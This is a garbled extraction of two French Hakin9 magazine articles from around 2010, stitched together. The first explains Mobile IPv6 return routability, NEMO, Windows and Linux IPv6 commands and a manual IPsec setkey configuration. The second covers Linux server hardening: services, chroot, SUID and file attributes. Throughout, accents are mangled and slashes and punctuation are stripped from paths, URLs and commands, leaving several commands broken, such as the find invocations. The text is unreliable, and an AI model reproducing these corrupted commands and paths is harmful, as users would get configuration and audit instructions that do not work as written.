return routability proceacutedureCette proceacutedure est destineacutee agrave la protection partielle des associations de seacutecuriteacute entre mobile et correspon-dant dans le cas de lrsquooptimisation de route Elle repose sur une utilisation de 4 messages principaux

table 5 Les commandes essentielles IPv6 sous Windows

Commande Netsh Rocirclenetsh interface ipv6 show interface Affiche les interfaces IPv6

netsh interface ipv6 set interface[[interface=]String][[forwarding=]enabled | disabled][[advertise=]enabled | disabled][[mtu=]Integer] [[siteid=]Integer][[metric=]Integer] [[store=]active |persistent]

Permet drsquoactiver le forwarding des interfaces les annonces de Rout-er Advertisement

netsh interface ipv6 add address[[interface=]String][address=]IPv6Address[[type=]unicast | anycast][[validlifetime=]Integer | infinite][[preferredlifetime=]Integer |infinite] [[store=]active | persistent]

Permet drsquoajouter des adresses IPv6 aux interfaces

netsh interface ipv6 showbindingcacheentries

Affiche le Binding cache utiliseacute par MIPv6

netsh interface ipv6 show routes[[level=]normal | verbose][[store=]active | persistent]

Affiche les routes IPv6

netsh interface ipv6 add route[prefix=]IPv6AddressInteger[[interface=]String][[nexthop=]IPv6Address][[siteprefixlength=]Integer][[metric=]Integer] [[publish=]no | yes| immortal] [[validlifetime=]Integer |infinite] [[preferredlifetime=]Integer| infinite] [[store=]active |persistent]

Ajoute une route IPv6 dans la table de routage

netsh interface ipv6 renew[[interface=]String]

Permet la reacuteinitialisation des adresses IPv6

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 47

bull HoTI Home Test Initbull CoTI Care-of Test Initbull HoT Home Testbull CoT Care-of Test

Les correspondants inteacutegrant lrsquooptimisation de route doivent preacutealablement disposer de nonces et drsquoune cleacute secregravete noteacutee Kcn

La proceacutedure utiliseacuteee est la suivante

bull un message HoTI est eacutemis depuis la Home Address du mobile vers le correspondant via lagent megravere Il contient une valeur aleacuteatoire sur 64 bits le Home Init cookie

bull parallegravelement un message CoTI est eacutemis depuis la care-of address du mobile directement vers le nœud correspondant Celui-ci contient une seconde valeur aleacuteatoire sur 64 bits le Care-of Init cookie

bull en reacuteponse au message HoTI un message HoT est eacutemis par le correspondant agrave destination de la Home Address du mobile via lAgent Megravere Ce pa-quet contient entre autres lrsquoindex drsquoun nonce choisi par le correspondant ainsi qursquoun Home Keygen to-ken calculeacute par premier (64 HMAC _ SHA1 (Kcn (home

address | nonce | 0 )))

bull de mecircme en reacuteponse au message CoTI un message CoT est eacutemis par le correspondant vers la Care-of Ad-dress du mobile Ce paquet contient entre autres lrsquoin-dex drsquoun autre nonce choisi par le correspondant ain-si qursquoun Home Keygen token calculeacute par premier (64 HMAC _ SHA1 (Kcn (care-of address | nonce | 0 )))

A lrsquoissue de ces diffeacuterentes eacutetapes le mobile calcule une cleacute noteacutee Kbm

Kbm = SHA1 ( home keygen token | care-of keygen

token)

La Figure 9 repreacutesente le cheminement de ces diffeacute-rents messages au travers de lrsquoInternet

Cette cleacute sera utiliseacutee lors de la mise agrave jour des associa-tions pour authentifier le mobile par le calcul drsquoun HMAC

Cette proceacutedure repose sur lrsquohypothegravese forte qursquoaucun espion nrsquoeacutecoute agrave la fois les messages CoT et HoT qui

normalement empruntent des chemins distincts Dans le cas contrairen il lui serait aiseacute de calculer Kbm et de geacuteneacuterer des faux messages drsquoassociation Cette eacutecou-te nrsquoest pas faisable dans le reacuteseau visiteacute puisque les eacutechanges entre Agent Megravere et mobile sont chiffreacutes Pra-tiquement cette attaque est aiseacutee dans le reacuteseau du correspondant mais elle nrsquoest pas eacutevalueacutee comme eacutetant plus risqueacutee que celles rencontreacutees dans un contexte sans mobiliteacute par simple IP-spoofing NDP spoofinghellip

Afin de reacuteduire les risques les nonces ainsi que la cleacute Kcn sont reacuteguliegraverement actualiseacutes

Mobiliteacute de reacuteseaux NeMOMIPv6 gegravere la mobiliteacute dun hocircte tandis que NEMO as-sure la mobiliteacute dun reacuteseau IPv6 entier appeleacute reacuteseau mobile Dans le cas de NEMO la complexiteacute est centra-liseacutee sur un eacutequipement deacutedieacute le routeur mobile Ain-si chaque mouvement (lorsque le reacuteseau mobile se deacute-place dun reacuteseau daccegraves vers un autre) est transparent pour lensemble des hocirctes IPv6 du reacuteseau mobile Un hocircte IPv6 standard peut ainsi beacuteneacuteficier dune connecti-viteacute permanente au sein dun reacuteseau mobile sans avoir toutefois besoin de protocoles additionnels

NEMO coupleacute avec certaines extensions gegravere notam-ment la mobiliteacute des reacuteseaux IPv6 la continuiteacute des flux les eacutequipements multi-interfaces Dans sa version ac-tuellement standardiseacutee NEMO ne gegravere cependant pas les optimisations de route comme peut le geacuterer MIPv6

Pratique amp Mise en œuvreLa majeure partie des Systegravemes drsquoexploitation des softwares des eacutequipements reacuteseaux actuels disposent drsquoun support IPv6 Vous pourrez le veacuterifier sur le site de lrsquoIPv6 Ready Logo Committee programme mondial de certification IPv6 Vous obtiendrez sur ce site le deacute-tail des impleacutementations actuellement certifieacutees et vous constaterez aiseacutement lrsquoimportant retard de lrsquoEurope

Les infrastructures reacuteseaux europeacuteennes ont eacutegalement accumuleacutees un retard consideacuterable dans cette migration hellip Et pourtant les reacuteseaux de lrsquoenseignement et de la re-cherche proposent depuis deacutejagrave plusieurs anneacutees un sup-port Natif drsquoIPv6 voire du multicast IPv6 Heureusement quelques ISP (Internet Service Provider) tels que Free offrent depuis quelques mois un adressage IPv6

table 6 Commandes principales pour la configuration drsquoIPv6 sous linux

Commande ip Rocircleip -6 address show [dev ltpeacuteripheacuteriquegt] Affiche les adresses IPv6

ip -6 addr add ltadresseipv6gtltlongueurdupreacutefixegt dev ltinterfacegt Ajoute une adresse IPv6

ip -6 route show [dev ltpeacuteripheacuteriquegt] Affiche les routes IPv6

ip -6 route add ltreacuteseauipv6gtltlongueurdupreacutefixegt via ltadresseipv6gt [dev ltpeacuteripheacuteriquegt]

Ajoute une route IPv6

ip -6 neigh show [dev ltpeacuteripheacuteriquegt] Affiche les voisins NDP

ip -6 neigh add ltadresseIPv6gt lladdr ltadressedelacouche-liengt dev ltpeacuteripheacuteriquegt

Ajoute un voisin NDP

5201048

Pratique

Ce paragraphe a pour objectif de vous faire appreacute-hender la mise en œuvre basique drsquoIPv6 sur les prin-cipaux systegravemes utiliseacutes agrave savoir Windows et Linux Nous supposons que vous disposez drsquoores et deacutejagrave drsquoun adressage IPv6 parce que vous ecirctes par exem-ple dans une des situations preacuteceacutedemment eacutevoqueacutees Rappelons que les Internet IPv4 et IPv6 sont bien dis-tincts mecircme si une utilisation des machines en double pile permet la superposition de certaines portions Dans le cas contraire si vous deacutesirez plus qursquoun reacuteseau local il vous faudra utiliser lun des meacutecanismes de transition deacutecrits dans lrsquoarticle preacuteceacutedent Nous vous conseillons de preacutefeacuterence un tunnel broker et en second choix un tunnel 6to4

avec WindowsLa majeure partie des versions courantes de Windows disposent drsquoun support IPv6 Vista XP SP1 XP SP2 Server 2003 2008 Sous Vista et Server 2008 ce sup-port est activeacute par deacutefaut Sous XP ou Server 2003 il vous faudra lrsquoactiver au preacutealable

Selon les versions de Windows les meacutecanismes dis-ponibles sont plus ou moins complets

La mobiliteacute IPv6 ne prend en compte que la partie correspondant ni Home Agent ni Nœud Mobile ne sont disponibles

Sous Windows XP et Server 2003 IPsec pour IPv6 of-fre les meacutecanismes AH et ESP mais le chiffrement ainsi que la gestion automatique des cleacutes nrsquoest pas disponible Seuls Vista et Server 2008 offrent ces fonctionnaliteacutes

Vista et Server 2008 permettent une utilisation de DHCPv6

activation de la pile iPv6 amp Configuration des adressesCe besoin ne se retrouve que sous XP et Windows Server 2003 dont la pile IPv6 est par deacutefaut deacutesacti-veacutee

Cette activation se fait par le biais de lrsquooutil ipv6exe sous Windows XP ougrave de la commande netsh disponible sur toutes les versions

Sous Windows XP il srsquoagit drsquoexeacutecuter ipv6 install

Bien entendu les interfaces concerneacutees doivent ac-cepter la connectiviteacute TCPIPv6 dans le menu Proprieacute-teacutes adeacutequat

Une adresse Lien-locale associeacutee agrave chacune de vos cartes reacuteseau sera alors automatiquement configureacutee par concateacutenation du preacutefixe fe80 et de votre identifiant drsquointer-face deacutefini depuis lrsquoadresse MAC associeacutee Les interfaces relieacutees agrave un reacuteseau IPv6 constitueacute drsquoun routeur annonccedilant des Router Advertisement obtiendront de mecircme automa-tiquement une adresse globale unicast unique routable et contenant lrsquoadresse MAC de lrsquointerface concerneacutee

La commande ipconfig all (ou netsh show) vous prou-vera votre connectiviteacute La figure 10 vous montre une telle configuration sous Windows XP

Vous constaterez eacutegalement une adresse suppleacute-mentaire qualifieacutee de Temporaire Il srsquoagit en fait drsquoune adresse globale de dureacutee de vie relativement courte destineacutee au masquage de lrsquoadresse MAC (disponible depuis le SP2) Au besoin vous pourrez la deacutesactiver par ipv6 ndashp gpu useTemporaryAddresse no

Connectiviteacute cheminLorsque vous disposerez drsquoune adresse routable ou simplement pour tester la connectiviteacute entre deux ma-chines vous pourrez utiliser la commande ping6 qui est le pendant de ping pour IPv4 Cette commande geacute-negravere un ensemble de paquets ICMPv6 Echo Request et affiche les reacuteponses associeacutees ICMPv6 Echo Re-ply

La Figure 11 montre un tel ping6 sur wwwgooglefr deacutesormais adressable en IPv6 Les paquets reacutesultants de cette commande sont eacutegalement indiqueacutes par cap-ture du trafic avec Wireshark

En IPv4 pour connaicirctre le trajet suivi par les paquets la commande tracert est geacuteneacuteralement utiliseacutee En IPv6 il srsquoagit deacutesormais de tracert6

Cache des voisins (NDP Cache)La reacutesolution MACAdresse en IPv4 donne naissan-ce au cache ARP obtenu par arp ndashan par exemple En IPv6 il srsquoagit deacutesormais du cache NDP qui peut ecirctre ob-tenu par ipv6 nc ou netsh interface ipv6 show neighbors

table 7 Reacutefeacuterences

Lien Titrehttplivrepoint6netindexphp IPv6 Theacuteorie et Pratique - Gisegravele Ciza-

ult

httpipv6readyorg Site de lrsquoIPv6 Ready Logo Committee

httpwwwdeepspace6netdocsipv6_status_page_appshtml Statut des applications reacuteseaux sup-portant IPv6

httpmirrorsdeepspace6netLinux+IPv6-HOWTO-fr HOWTO IPv6 pour Linux

httpwwwlinux-franceorgprjinetdocguidesAdvanced-routing-Howto HOWTO du routage avanceacute et du con-trocircle de trafic sous Linux

httpwikiwiresharkorgESP_Preferences Le module de deacutechiffrement et drsquoauthentification ESP pour Wireshark

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 49

Diverses CommandesLrsquoensemble des configurations essentielles IPv6 sous Windows srsquoeffectuent agrave lrsquoaide de Netsh (etou ipv6exe sous Windows XP) Hormis celles preacuteceacutedemment deacutefi-nies les commandes essentielles sont indiqueacutees dans le Tableau 5

accegraves Web en iPv6Classiquement en IPv4 les URLs (Uniform Resource Locator) utiliseacutees dans les accegraves HTTP (HypertexT Transfert Protocol) utilisent le nommage DNS (Domain Name System) Avant toute requecircte lrsquoadresse du ser-veur HTTP est donc geacuteneacuteralement preacutealablement tra-duite par le biais des serveurs DNS Avec IPv6 il en est de mecircme le browser dans un premier temps recher-che lrsquoensemble des adresses IP associeacutees au serveur HTTP Si celui-ci dispose drsquoune adresse IPv6 il tentera dans un premier temps de le joindre par IPv6 En cas drsquoeacutechec crsquoest le protocole IPv4 qui sera utiliseacute Nous rappelons qursquoil nrsquoest pas indispensable que le serveur DNS soit adresseacute en IPv4 pour retourner des adresses IPv6

A lrsquoheure actuelle la majeure partie des navigateurs supporte IPv6 par deacutefaut Firefox Internet Explorer hellip A titre drsquoexemple vous pourrez vous connecter sur wwwkamenet Si vous disposez drsquoun accegraves exteacuterieur IPv6 et drsquoun browser compatible vous devriez voir en premiegravere page une tortue animeacutee Le cas eacutecheacuteant elle sera fixe

Avec IPv6 les adresses eacutetant 4 fois plus longues les URLs contenant des IPs devraient encore moins se pratiquer Cependant ceci reste possible et pour diffeacute-rencier les de lrsquoadresse avec la section port de lrsquoURL il faut entourer lrsquoIP de [ ] (Exemple http[20014860a00368] pour acceacuteder agrave google en IPv6)

avec LinuxQuelle que soit la distribution contemporaine utiliseacutee celle-ci contient IPv6 Vous pourrez neacuteanmoins tester la preacutesence de son support dans le noyau par veacuterification de la preacutesence du chemin procnetif_inet6 Le mo-dule IPv6 doit eacutegalement ecirctre chargeacute avant toute utilisa-tion Un appel agrave lsmod vous le confirmera

table 8 Liste des RFCs relatives agrave IPv6

Norme TitreRFC 2403 The Use of HMAC-MD5-96 within ESP and AH

RFC 2404 The Use of HMAC-SHA-1-96 within ESP and AH

RFC 2405 The ESP DES-CBC Cipher Algorithm With Explicit IV

RFC 2409 The Internet Key Exchange (IKE)

RFC 2451 The ESP CBC-Mode Cipher Algorithms

RFC 3566 The AES-XCBC-MAC-96 Algorithm and Its Use With IPsec

RFC 3602 The AES-CBC Cipher Algorithm and Its Use with IPsec

RFC 3686 Using Advanced Encryption Standard (AES) Counter Mode With IPsec Encapsulating Security Payload (ESP)

RFC 3775 Mobility Support in IPv6

RFC 3776 Using IPsec to Protect Mobile IPv6 Signaling Between Mobile Nodes and Home Agents

RFC 3963 Network Mobility (NEMO) Basic Support Protocol

RFC 4109 Algorithms for Internet Key Exchange version 1 (IKEv1)

RFC 4301 Security Architecture for the Internet Protocol

RFC 4302 IP Authentication Header

RFC 4303 IP Encapsulating Security Payload (ESP)

RFC 4306 Internet Key Exchange (IKEv2) Protocol

RFC 4307 Cryptographic Algorithms for Use in the Internet Key Exchange Version 2 (IKEv2)

RFC 4385 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4835 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4877 Mobile IPv6 Operation with IKEv2 and the Revised IPsec Architecture

RFC 4885 Network Mobility Support Terminology

RFC 4886 Network Mobility Support Goals and Requirements

RFC 4887 Network Mobility Home Network Models

RFC 4888 Network Mobility Route Optimization Problem Statement

RFC 4889 Network Mobility Route Optimization Solution Space Analysis

5201050

Pratique

activation de la pile iPv6 amp Configuration des adressesSous Linux lrsquoensemble des configurations IPv6 peut ecirctre reacutealiseacute agrave lrsquoaide des anciennes commandes ifcon-fig netstat hellip

Depuis les noyaux au moins supeacuterieurs au 24 le sous-systegraveme reacuteseau a eacuteteacute complegravetement reacuteeacutecrit Lrsquoiproute2 eacutetend ainsi grandement les possibiliteacutes et centralise les configurations reacuteseaux La commande principale est ip

Le Tableau 6 preacutesente donc quelques une des op-tions principales pour configurer Ipv6

Le systegraveme Linux eacutetant lun des mieux documenteacutes si lrsquoune des options vous manque vous pouvez toujours utiliser la commande man (exemple man 8 ip)

Mise en œuvre mode routeurPour mettre en place un routeur etou une passerelle vous devez activer le forwarding entre les diffeacuterentes in-terfaces reacuteseaux Ceci se reacutealise par le biais de fichiers de configuration speacutecifiques agrave chaque distribution (geacuteneacute-ralement sous lrsquoarborescence etcsysconfignetwork) ou directement par dialogue avec le Kernel Ce dialogue est temporaire et agrave chaque reboot il sera reacuteinitialiseacute (sauf utili-sation de script de deacutemarrage geacuteneacuteralement etcrclocal)

Il se reacutealise par des appels agrave la commande sysctl ou par eacutecriture dans les fichiers propres au kernel

Il srsquoagit sous IPv6 de lrsquoarborescence procsysnetipv6 Le fait drsquoeacutecrire 1 dans le fichier procsysnetipv6confallforwarding activera le forwarding entre toutes les interfaces Au besoin le controcircle du forwarding par interface doit ecirctre reacutealiseacute en utilisant les jeux de regravegles de netfilter-IPv6 (agrave lrsquoaide drsquoip6tables) en speacutecifiant les peacuteripheacuteriques dentreacutee et de sortie

Il vous faudra certainement activer en plus les Router Advertisements afin de permettre aux machines preacutesen-tes sur le lien de srsquoautoconfigurer Ces paquets sont geacute-neacutereacutes suite au deacutemarrage du deacutemon radvd Ce deacutemon utilise un fichier de configuration preacutesent geacuteneacuteralement dans etcradvdconf Ce fichier preacutecise les principaux paramegravetres des Router Advertisements agrave savoir

bull le preacutefixebull la dureacutee de vie du preacutefixebull la freacutequence des envois dannoncebull hellip

En dernier point il vous faudra peut-ecirctre activer un protocole de routage intra-domaine (Ripng OSPfv3) voire inter-domaine (Is-Is BGP-4+)

Listing 1 Structure geacuteneacuterale du fichier setkeyconf

flush

spdflush

Configuration SPD

Configuration SAD

spddump

dump esp

Listing 2 Configuration SPD sur 3ffe1

spdadd -6 3ffe1 3ffe2 any -P out ipsec esptransportrequire

spdadd -6 3ffe1 3ffe3 any -P out ipsec esptransportrequire

Listing 3 Configuration SAD sur 3ffe1

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

add 3ffe1 3ffe3 esp 11

-E 3des-cbc 3descbcencryptiontesting

-A hmac-sha1 hmacsha1authenticati

Listing 4 Configuration SPD et SAD sur 3ffe2

spdadd -6 3ffe1 3ffe2 any -P in ipsec esptransportrequire

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 51

Commandes et outils principauxLes commandes principales disponibles sous Linux sont eacutequivalentes agrave celle preacuteceacutedemment eacutevoqueacutees pour Windows Les principales sont les suivantes

bull ping6 (Packet INternet Grouper) pour diagnos-tiquer la connectiviteacute reacuteseau (Exemple ping6 [-I

ltpeacuteripheacuteriquegt] FF021 vous donnera lrsquoensemble des interfaces preacutesentes sur le lien-local

bull traceroute6 pour deacutetecter le chemin emprunteacute par les paquets

bull tracepath6 similaire au traceroute6 trace le chemin vers une destination donneacutee tout en deacutecouvrant la MTU le long de ce chemin

bull nslookup host utiles pour la reacutesolution DNS en v4 ou v6

Lrsquoensemble des outils classiques reacuteseaux disponibles sur Linux a eacuteteacute adapteacute agrave IPv6 ssh telnet ftp netcat nmap hellip

Le firewall iptable classique dispose eacutegalement drsquoune variante baptiseacutee ip6table pour IPv6

Mise en œuvre drsquoiPsecLa pile IPsec est maintenant inteacutegreacutee en natif sur les noyaux 2547 et supeacuterieurs les versions infeacuterieures neacute-cessitaient lrsquoinstallation de piles speacutecifiques style FreeSWAN ou celle du projet japonais USAGI Lrsquoimpleacutementa-tion actuelle repose drsquoailleurs sur celle du projet USAGI Elle peut cependant ne pas ecirctre activeacutee par deacutefaut pour IPv6 il vous faudra donc potentiellement relancer preacutea-lablement une compilation du noyau et y activer AH ESP voire IPComp (Compression de charge IP)

La configuration des politiques IPsec ainsi que des cleacutes et algorithmes en mode partageacute srsquoeffectue agrave lrsquoaide de lrsquooutil setkey deacuterivant du projet KAME et fournie avec le package ipsec-tools Si vous choisissez un mode de configuration automatique des associations de seacutecuriteacute il vous faudra user drsquoun outil suppleacutementaire racoon ou racoon2 selon la version drsquoIKE choisie

Par simplification nous choisirons un mode manuel de gestion des associations de seacutecuriteacute Supposons donc que nous deacutesirions proteacuteger en mode transport le trafic depuis une machine drsquoadresse 3ffe1 vers les machines

bull 3ffe2 par ESP (Chiffrement aes-cbc cleacute aescbcencryption Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 10)

bull 3ffe3 par ESP (Chiffrement 3des-cbc cleacute 3descbcencryptiontesting Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 11)

Chacune de ces diffeacuterentes machines devra donc ecirctre configureacutee pour prendre en compte ce parameacutetrage IPsec Ceci peut se reacutealiser par deacutefinition drsquoun fichier de configuration nommeacute par exemple setkeyconf utili-sant le format suivant (Listing 1)

Consideacuterant 3ffe1 Il faut donc dans un premier temps deacutefinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe2 et 3ffe3 soit proteacutegeacute par Ipsec (Listing 2)

Dans un second temps il faut indiquer les SPI les cleacutes ainsi que les algorithmes agrave utiliser au niveau de la SAD (Listing 3)

Bien entendu 3ffe2 et 3ffe3 doivent comporter les SPDs et SADs correspondantes afin que tout trafic reccedilu puisse ecirctre authentifieacute et deacutechiffreacute La configuration de ces diffeacuterents eacuteleacutements sur 3ffe2 sera donc proche de Listing 4

Ainsi tout trafic provenant de 3ffe1 sera proteacutegeacute par ESP en mode transport avec les cleacutes et algorithmes deacutefinies

Pour activer ces paramegravetres il vous faudra utiliser setkey setkey ndashf setkeyconf

Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi

Page 6: hakin9_05_2010_FR

52010

dossier

bull at planificateur deacutevegravenements si aucun autre pro-gramme ne lutilise (exeacutecution peacuteriodique) vous pou-vez le deacutesactiver attention toutefois il est tregraves sou-vent utiliseacute

bull PCMCIA si vous necirctes pas sur une machine pos-seacutedant ce port il ne sert agrave rien

bull bluetooth si vous navez pas de connectique Blue-tooth il ne sert agrave rien

bull cups si vous nutilisez pas dimprimante (il est parfois utiliseacute avec certains programmes dimpression PDF)

bull FTP serveur de fichierbull ssh si vous neffectuez pas dadministration distan-

te sur votre machine supprimez-le

Cette liste nest pas exhaustive il existe beaucoup trop de programmes pour tous les lister ici Le fait de deacute-sactiver un service diminue limpact quil aura sur la seacutecuriteacute de la machine et diminue aussi la meacutemoire et le temps processeur utiliseacutes cest donc tregraves beacuteneacutefique

Pour lister les services et leurs niveaux dexeacutecution

sbinchkconfig --list

- Pour lister les services reacuteseaux en eacutecoute

lsof -i -n | egrep COMMAND|LISTEN

- Arrecircter un service

etcrcdinitd[nom du service] stop

- Exeacutecuter un service

etcrcdinitd[nom du service] start

- Ajouter un service du deacutemarrage

update-rcd [nom du service] defaults

- Supprimer un service du deacutemarrage

update-rcd [nom du service] remove

Il est aussi possible deffectuer une exeacutecution de comman-de automatique lors de la connexion de lutilisateur notam-ment avec le fichier home[Nom de lutilisateur]bashrc

seacutecurisation des servicesLes nouveaux modegraveles de communication font que lintrusion dans les systegravemes dinformation la plus

significative provient de la seacutecurisation des services reacuteseau et plus preacuteciseacutement des applications Web il est donc tregraves important de seacutecuriser ces services Nous ne parlerons pas ici de la seacutecurisation par filtrage qui sera traiteacutee dans un autre article

ChrootCest une commande qui permet de modifier la racine de lapplication afin de cloisonner le service agrave son pro-pre environnement (voir Figure 2) Elle peut ecirctre utiliseacutee dans deux cas

bull Pour changer denvironnement (basculer vers un autre systegraveme) par exemple utiliser un environne-ment 32bits sur un systegraveme 64bits

bull Pour cloisonner un programmeutilisateur et lempecirc-cher de remonter dans larborescence

Concregravetement mon application Apache est vulneacutera-ble agrave une faille qui permet dacceacuteder agrave un shell distant Dans le premier cas (sans chroot) lattaquant reacutecupegrave-re la main sur mon systegravemeDans le second cas (avec chroot) lattaquant na accegraves quau reacutepertoire de lap-plication il ne peut pas remonter dans larborescence seule mon application est compromise Bien entendu cela nest quun exemple (des manipulations existent pour passer outre cette seacutecuriteacute) mais dans le cas de services mutualiseacutes on eacutevite ainsi de perdre tous les services seul le service incrimineacute est compromis

Nous nexpliquerons pas la proceacutedure de chroot dun service ici de tregraves bons articles et sites web en parlent notamment sur le site httplea-linuxorg sachez tout de mecircme que certaines applications requiegraverent decirctre recompileacutees pour fonctionner dans cet environnement restreint

Les modules et fonctionnaliteacutesPlus un systegraveme est complexe moins il est facile de le seacutecuriseacute il est donc primordial de limiter au maximum les fonctionnaliteacutes agrave notre strict besoin

Les fichiers par deacutefaut de deacuteveloppement (exemple la page phpinfophp pour PHP) sont souvent oublieacutes De nombreux automates (scanner de vulneacuterabiliteacute exemple Nessus) permettent de veacuterifier les configura-tions par deacutefaut Ils peuvent apporter des informations agrave un eacuteventuel assaillant il est donc primordial deffacer ces composants

De nombreux programmes (TOMCAT PHP ) utilisent des modules pour lajout de fonctionnaliteacute ces modules

Figure 2 Changement de racine

etcapacvhe

Figure 3 Droit SUID

hakin9orgfr 9

sont bien souvent installeacutes par deacutefaut et oublieacutes or dans le cas dapplications WEB ces oublis permettent bien souvent dutiliser des exploits la suppression de ces modules permet de corriger ce problegraveme (en les deacutesinstallant ou la plupart du temps en commentant les lignes dans les fichiers de configuration)

Versions et mise agrave jourLa premiegravere chose que va chercher agrave obtenir un eacuteventuel attaquant sur un systegraveme reacuteseau est la version drsquoappli-cation ou du systegraveme afin de le comparer avec des listes de vulneacuterabiliteacutes existantes Hors dans de nombreux cas ces versions sont facilement identifiables

Exemple sur un serveur FTP lors de la connexion celui-ci va nous indiquer sa version de systegraveme dex-ploitation son nom de logiciel et sa version

Les solutions ne sont pas toujours tregraves simples mais existent

bull la suppression des banniegraveres de connexion ou au moins les rendre anonymes au maximum (requiert parfois une recompilation du binaire)

bull la mise agrave jour constante des applications et des systegravemes (malheureusement les failles 0 days existent)

bull le changement des mots de passe par deacutefaut

Une autre probleacutematique agrave laquelle on ne songe pas toujours lors de la mise agrave jour dun systegraveme il arri-ve bien souvent que le correctif de seacutecuriteacute modifie la configuration de lapplication (par exemple sur Ora-cle lrsquoapplication de certains correctifs reacuteinitialise les paramegravetres de seacutecuriteacute)

Apregraves lapplication dun correctif il est primordial de veacuterifier la configuration de seacutecuriteacute dune application

droits et fichiersDepuis toujours ladministration essaie de prendre en compte les notions de seacutecuriteacute mais oublie bien souvent la gestion des droits sur les fichiers Sous les systegravemes Linux il existe les droits standards (lectureeacutecritureexeacute-cution avec la gestion utilisateurgroupeautre) et les droits eacutetendus (Suid Sticky Bit ACL)

Eacutenumeacuterer les fichiers et reacutepertoires avec des droits en eacutecriture pour tous

fi nd type d -perm -2 -exec ls -lcd

Pour un systegraveme multi-utilisateurs avec des partages de fichiers le systegraveme de droits standard nest pas suf-fisant Pour ce faire il existe les ACL (commandes getfacl et setfacl) qui permettent une gestion de droits plus fine sur les fichiers

Dans la majoriteacute des cas un administrateur ne pen-sera pas agrave faire un getfacl sur un fichier il fera un simple ls -al et passera donc devant des droits peut ecirctre trop

9

5201010

dossier

permissifs crsquoest pour cela quil est recommandeacute dutili-ser au strict besoin ce genre de droits

Les droits setuid et setgid (repreacutesenteacutes par un s) permettent agrave un programme de sexeacutecuter avec les droits de son proprieacutetaire par exemple la commande passwd permet agrave un simple utilisateur de modifier son mot de passe (par deacutefaut) dans le fichier etcpasswd ou etcshadow (voir Figure 3)

Ces droits sont agrave lorigine dun tregraves grand nombre de failles de seacutecuriteacute locales qui permettent leacuteleacutevation de privilegraveges sous Linux (passer dun simple utilisateur agrave root) il est donc fortement recommandeacute de lutiliser au strict minimum

Liste des fichiers ougrave les droits SUID et SGUID sont positionneacutes

find ( -perm -4000 -o -perm -2000 ) -exec -l -lc

Le sticky bit (bit de collage) est un droit compleacutemen-taire positionneacute sur un fichier il permet de garder le fi-chier en meacutemoire si par contre il est positionneacute sur un reacutepertoire (exemple tmp) les fichiers creacuteeacutes dans ce reacutepertoire ne pourront ecirctre supprimeacutes que par le pro-prieacutetaire du fichier

Drsquoautres attributs de fichiers (positionneacutes avec la commandes chattr et visibles avec lsattr) peuvent ecirctre appliqueacutes

bull a on peut seulement ajouter des donneacutees au fi-chier

bull c compresseacute automatiquementbull i ne peut ecirctre modifieacute (ni supprimeacute ni renommeacute)bull s remplacement de tous les blocs du fichier lors

de la suppression par des 0bull u sauvegarde du fichier en cas de suppression

Exemple drsquoutilisation

bull chattr +i mon _ fichier ajoute lattributbull chattr -i mon _ fichier supprime lattributbull chattr =i mon _ fichier ne laisse que lattribut

La virtualisationLa reacutepartition de charge par virtualisation est de plus en plus utiliseacutee elle permet sur un serveur suffisamment puissant deacutemuler plusieurs serveurs (par exemple dobtenir sur une mecircme machine plusieurs controcircleurs de domaine) Ces architectures sont assez reacutecentes et geacuteneacuteralement mal maicirctriseacutees par les administrateurs (voir Figure 4)

Figure 4 Virtualisation

regravegles de seacutecurisation

hakin9orgfr 11

La seacutecurisation et la mise agrave jour de serveursma-chines virtuels doit ecirctre consideacutereacutee de la mecircme maniegravere que pour des serveurs physiques ils sont bien souvent oublieacutes Sous Linux il existe plusieurs logiciels de virtualisation VIRTUALBOX VMWARE Xen Qemu(Qemu et VIRTUALBOX sont gratuits mais ne sont pas optimiseacutes pour des CLUSTERS) Il est aussi possible dutiliser une machine virtuelle pour tester les politiques de seacutecuriteacute avant de les appliquer sur un serveur en distribution Le fait quune machine soit virtuelle ne doit pas limiter la maniegravere de la seacutecuriser il faut consideacuterer que cest une machine physique avec quand mecircme quelques atouts (notamment la faciliteacute de remplacement en quelques commandes la machines virtuelle est re-monteacutee agrave son original)

